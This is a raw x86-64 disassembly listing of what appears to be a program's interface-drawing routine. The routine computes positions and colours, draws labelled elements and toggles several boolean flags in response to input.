lea rcx, [rbp + 0x4b8]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac264]
movss xmm1, dword [0x7ff6bb0ac2bc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
lea rcx, [rbp + 0x4c0]
call fcn.7ff6bafc1390
lea rcx, [rbp + 0xe08]
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
movss xmm0, dword [0x7ff6bb0abfbc]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm6, dword [0x7ff6bb0ac100]
lea r8, [rbp + 0x1158]
movss dword [rsp + 0x30], xmm14
lea rdx, [rbp + 0x1160]
mov r9d, eax
mov dword [rsp + 0x28], r15d
mov rcx, r13
movss dword [rsp + 0x20], xmm6
call fcn.7ff6bafe4d60
movss xmm2, dword [0x7ff6bb0ac16c]
lea rcx, [rbp + 0x4c8]
movss xmm1, dword [0x7ff6bb0ac19c]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac250]
lea rcx, [rbp + 0x4d0]
movss xmm1, dword [0x7ff6bb0ac258]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac0a4]
lea rcx, [rbp + 0xe18]
movss xmm2, dword [0x7ff6bb0abffc]
movss xmm1, dword [0x7ff6bb0abfdc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abff8]
lea rcx, [rbp + 0xe28]
movss xmm2, dword [0x7ff6bb0abfc8]
mov esi, eax
movss xmm1, dword [0x7ff6bb0ac098]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac050]
lea rcx, [rbp + 0xe38]
movss xmm2, dword [0x7ff6bb0abfb4]
mov edi, eax
movss xmm1, dword [0x7ff6bb0ac090]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac0b0]
lea rcx, [rbp + 0xe48]
movss xmm2, dword [0x7ff6bb0ac030]
mov ebx, eax
movss xmm1, dword [0x7ff6bb0abf90]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
mov dword [rsp + 0x40], r15d
lea r8, [rbp + 0x1158]
movss dword [rsp + 0x38], xmm6
lea rdx, [rbp + 0x1160]
mov dword [rsp + 0x30], esi
mov r9d, eax
mov dword [rsp + 0x28], edi
mov rcx, r13
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
movss xmm2, dword [0x7ff6bb0ac170]
lea rcx, [rbp + 0x4d8]
movss xmm1, dword [0x7ff6bb0ac1a0]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac24c]
lea rcx, [rbp + 0x4e0]
movss xmm1, dword [0x7ff6bb0ac254]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm15
lea rcx, [rbp + 0xe58]
movaps xmm1, xmm15
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
mov r9d, eax
mov dword [rsp + 0x28], r15d
lea r8, [rbp + 0x1158]
movss dword [rsp + 0x20], xmm6
lea rdx, [rbp + 0x1160]
mov rcx, r13
call fcn.7ff6bafe4e70
mov rsi, qword [rbp - 0x58]
mov rcx, rsi
call fcn.7ff6bafd0b10
movss xmm7, dword [0x7ff6bb0ac1ac]
lea rcx, [rbp + 0x4e8]
movss xmm2, dword [0x7ff6bb0ac174]
movaps xmm1, xmm7
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a88]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac17c]
lea rcx, [rbp + 0x4f0]
movaps xmm1, xmm7
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movss xmm0, dword [0x7ff6bb0ac054]
lea rcx, [rbp + 0xe68]
movaps xmm3, xmm0
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3aa0]
call fcn.7ff6bafef8e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x1220]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x1210]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb121716], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb0109d2
movaps xmm3, xmm14
lea rcx, [rbp + 0xe78]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movss xmm6, dword [0x7ff6bb0ac0a8]
lea rcx, [rbp + 0xe88]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm13
movaps xmm1, xmm12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1220], xmm0
call fcn.7ff6bafc13a0
jmp 0x7ff6bb010a1b
cmp r14d, r12d
jne 0x7ff6bb00fbe1
movss xmm2, dword [0x7ff6bb0ac150]
lea rcx, [rbp + 0x3d0]
movss xmm1, dword [0x7ff6bb0ac1cc]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x3d8]
movss xmm1, dword [0x7ff6bb0ac1dc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm6, dword [0x7ff6bb0abf84]
lea rcx, [rbp + 0xd08]
movss xmm3, dword [0x7ff6bb0ac000]
movaps xmm1, xmm6
movss xmm2, dword [0x7ff6bb0abfb8]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm7, dword [0x7ff6bb0abf88]
lea rcx, [rbp + 0xd18]
movss xmm3, dword [0x7ff6bb0abfd8]
movaps xmm2, xmm7
movss xmm1, dword [0x7ff6bb0abfec]
mov esi, eax
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0xd28]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0xd38]
movss xmm2, dword [0x7ff6bb0abfcc]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm14
mov ebx, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], r15d
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm0
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
movss xmm2, dword [0x7ff6bb0ac180]
lea rcx, [rbp + 0x3e0]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
mov rcx, qword [rbp - 0x70]
call fcn.7ff6bafd0b10
lea rcx, [0x7ff6bb13c310]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac194]
lea rcx, [rbp + 0x3e8]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm10
lea rcx, [rbp + 0xd48]
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a39b0]
call fcn.7ff6bafef8e0
movss xmm2, dword [0x7ff6bb0ac180]
lea rcx, [rbp + 0x3f0]
movss xmm1, dword [0x7ff6bb0ac2ac]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac210]
lea rcx, [rbp + 0x3f8]
movss xmm1, dword [0x7ff6bb0ac2bc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac0a4]
lea rcx, [rbp + 0xd58]
movss xmm2, dword [0x7ff6bb0abffc]
movss xmm1, dword [0x7ff6bb0abfdc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abff8]
lea rcx, [rbp + 0xd68]
movss xmm2, dword [0x7ff6bb0abfc8]
mov r15d, eax
movss xmm1, dword [0x7ff6bb0ac098]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac050]
lea rcx, [rbp + 0xd78]
movss xmm2, dword [0x7ff6bb0abfb4]
mov r14d, eax
movss xmm1, dword [0x7ff6bb0ac090]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac0b0]
lea rcx, [rbp + 0xd88]
movss xmm2, dword [0x7ff6bb0ac030]
mov esi, eax
movss xmm1, dword [0x7ff6bb0abf90]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm2, dword [rbp + 0x115c]
lea rcx, [rbp + 0x400]
movss xmm1, dword [rbp + 0x1158]
addss xmm2, xmm14
addss xmm1, xmm14
mov edi, eax
call fcn.7ff6bafc1390
movss xmm2, dword [rbp + 0x1164]
mov rbx, rax
movss xmm1, dword [rbp + 0x1160]
subss xmm2, xmm14
subss xmm1, xmm14
lea rcx, [rbp + 0x408]
call fcn.7ff6bafc1390
movss xmm0, dword [0x7ff6bb0ac100]
mov r9d, edi
mov dword [rsp + 0x40], 0
mov r8, rbx
movss dword [rsp + 0x38], xmm0
mov rdx, rax
mov dword [rsp + 0x30], r15d
mov rcx, r13
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], esi
call fcn.7ff6bafe5020
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm15
lea rcx, [rbp + 0xd98]
movaps xmm1, xmm15
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac100]
lea r8, [rbp + 0x1158]
xor r15d, r15d
lea rdx, [rbp + 0x1160]
mov dword [rsp + 0x28], r15d
mov r9d, eax
mov rcx, r13
movss dword [rsp + 0x20], xmm0
call fcn.7ff6bafe4e70
mov rcx, qword [rbp - 0x60]
call fcn.7ff6bafd0b10
movss xmm2, dword [0x7ff6bb0ac1a8]
lea rcx, [rbp + 0x410]
movss xmm1, dword [0x7ff6bb0ac2b0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a39f8]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac1d4]
lea rcx, [rbp + 0x418]
movss xmm1, dword [0x7ff6bb0ac2b0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a08]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac200]
lea rcx, [rbp + 0x420]
movss xmm1, dword [0x7ff6bb0ac2b0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a18]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac1d4]
lea rcx, [rbp + 0x428]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a28]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac200]
lea rcx, [rbp + 0x430]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a40]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac22c]
lea rcx, [rbp + 0x438]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a50]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
mov rcx, qword [rbp - 0x70]
call fcn.7ff6bafd0b10
movss xmm2, dword [0x7ff6bb0ac188]
lea rcx, [rbp + 0x440]
movss xmm1, dword [0x7ff6bb0ac2b0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a60]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac1c0]
lea rcx, [rbp + 0x448]
movss xmm1, dword [0x7ff6bb0ac2b0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0361b0]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac1e4]
lea rcx, [rbp + 0x450]
movss xmm1, dword [0x7ff6bb0ac2b0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a64]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac1c4]
lea rcx, [rbp + 0x458]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a6c]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac1e8]
lea rcx, [rbp + 0x460]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a74]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac214]
lea rcx, [rbp + 0x468]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3a7c]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac18c]
lea rcx, [rbp + 0x470]
movss xmm1, dword [0x7ff6bb0ac1e0]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xda8]
movaps xmm1, xmm15
call fcn.7ff6bafc13a0
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0xdb8]
movaps xmm1, xmm14
mov r14, rax
call fcn.7ff6bafc13a0
movaps xmm2, xmm14
lea rcx, [rbp + 0x478]
movaps xmm1, xmm14
mov rsi, rax
call fcn.7ff6bafc1390
mov rdi, rax
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x480]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac1c0]
lea rcx, [rbp + 0x488]
movss xmm1, dword [0x7ff6bb0ac1f8]
mov rbx, rax
call fcn.7ff6bafc1390
mov rcx, qword [rbp + 0x1170]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.7ff6baff15e0
mov r14d, dword [rbp - 0x7c]
jmp 0x7ff6bb00fbf1
movaps xmm3, xmm10
lea rcx, [rbp + 0xe98]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm10
lea rcx, [rbp + 0xea8]
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1220], xmm0
call fcn.7ff6bafc13a0
movss xmm6, dword [0x7ff6bb0ac0a8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1210], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3acc]
lea rcx, [rbp + 0x1210]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010a59
cmp byte [0x7ff6bb121716], 0
sete byte [0x7ff6bb121716]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3ad0]
lea rcx, [rbp + 0x1220]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010a92
cmp byte [0x7ff6bb121716], 0
sete byte [0x7ff6bb121716]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x1240]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x1230]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd35], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb010af0
movaps xmm3, xmm14
lea rcx, [rbp + 0xeb8]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0xec8]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb010b1b
movaps xmm3, xmm10
lea rcx, [rbp + 0xed8]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0xee8]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x1240], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1230], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3ae8]
lea rcx, [rbp + 0x1230]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010b6f
cmp byte [0x7ff6bb13fd35], 0
sete byte [0x7ff6bb13fd35]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3af0]
lea rcx, [rbp + 0x1240]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010ba8
cmp byte [0x7ff6bb13fd35], 0
sete byte [0x7ff6bb13fd35]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x1260]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x1250]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd36], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb010c06
movaps xmm3, xmm14
lea rcx, [rbp + 0xef8]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0xf08]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb010c31
movaps xmm3, xmm10
lea rcx, [rbp + 0xf18]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0xf28]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x1260], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1250], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3b08]
lea rcx, [rbp + 0x1250]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010c85
cmp byte [0x7ff6bb13fd36], 0
sete byte [0x7ff6bb13fd36]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3b10]
lea rcx, [rbp + 0x1260]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010cbe
cmp byte [0x7ff6bb13fd36], 0
sete byte [0x7ff6bb13fd36]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x1280]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x1270]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd3a], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb010d1c
movaps xmm3, xmm14
lea rcx, [rbp + 0xf38]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0xf48]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb010d47
movaps xmm3, xmm10
lea rcx, [rbp + 0xf58]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0xf68]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x1280], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1270], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3b24]
lea rcx, [rbp + 0x1270]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010d9b
cmp byte [0x7ff6bb13fd3a], 0
sete byte [0x7ff6bb13fd3a]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3b28]
lea rcx, [rbp + 0x1280]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010dd4
cmp byte [0x7ff6bb13fd3a], 0
sete byte [0x7ff6bb13fd3a]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x12a0]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x1290]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd33], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb010e32
movaps xmm3, xmm14
lea rcx, [rbp + 0xf78]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0xf88]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb010e5d
movaps xmm3, xmm10
lea rcx, [rbp + 0xf98]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0xfa8]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x12a0], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1290], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3b3c]
lea rcx, [rbp + 0x1290]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010eb1
cmp byte [0x7ff6bb13fd33], 0
sete byte [0x7ff6bb13fd33]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3b40]
lea rcx, [rbp + 0x12a0]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010eea
cmp byte [0x7ff6bb13fd33], 0
sete byte [0x7ff6bb13fd33]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x12c0]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x12b0]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd37], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb010f48
movaps xmm3, xmm14
lea rcx, [rbp + 0xfb8]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0xfc8]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb010f73
movaps xmm3, xmm10
lea rcx, [rbp + 0xfd8]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0xfe8]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x12c0], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x12b0], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3b54]
lea rcx, [rbp + 0x12b0]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010fc7
cmp byte [0x7ff6bb13fd37], 0
sete byte [0x7ff6bb13fd37]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3b58]
lea rcx, [rbp + 0x12c0]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb011000
cmp byte [0x7ff6bb13fd37], 0
sete byte [0x7ff6bb13fd37]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x12e0]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x12d0]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd39], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb01105e
movaps xmm3, xmm14
lea rcx, [rbp + 0xff8]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0x1008]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb011089
movaps xmm3, xmm10
lea rcx, [rbp + 0x1018]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0x1028]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x12e0], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x12d0], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3b6c]
lea rcx, [rbp + 0x12d0]
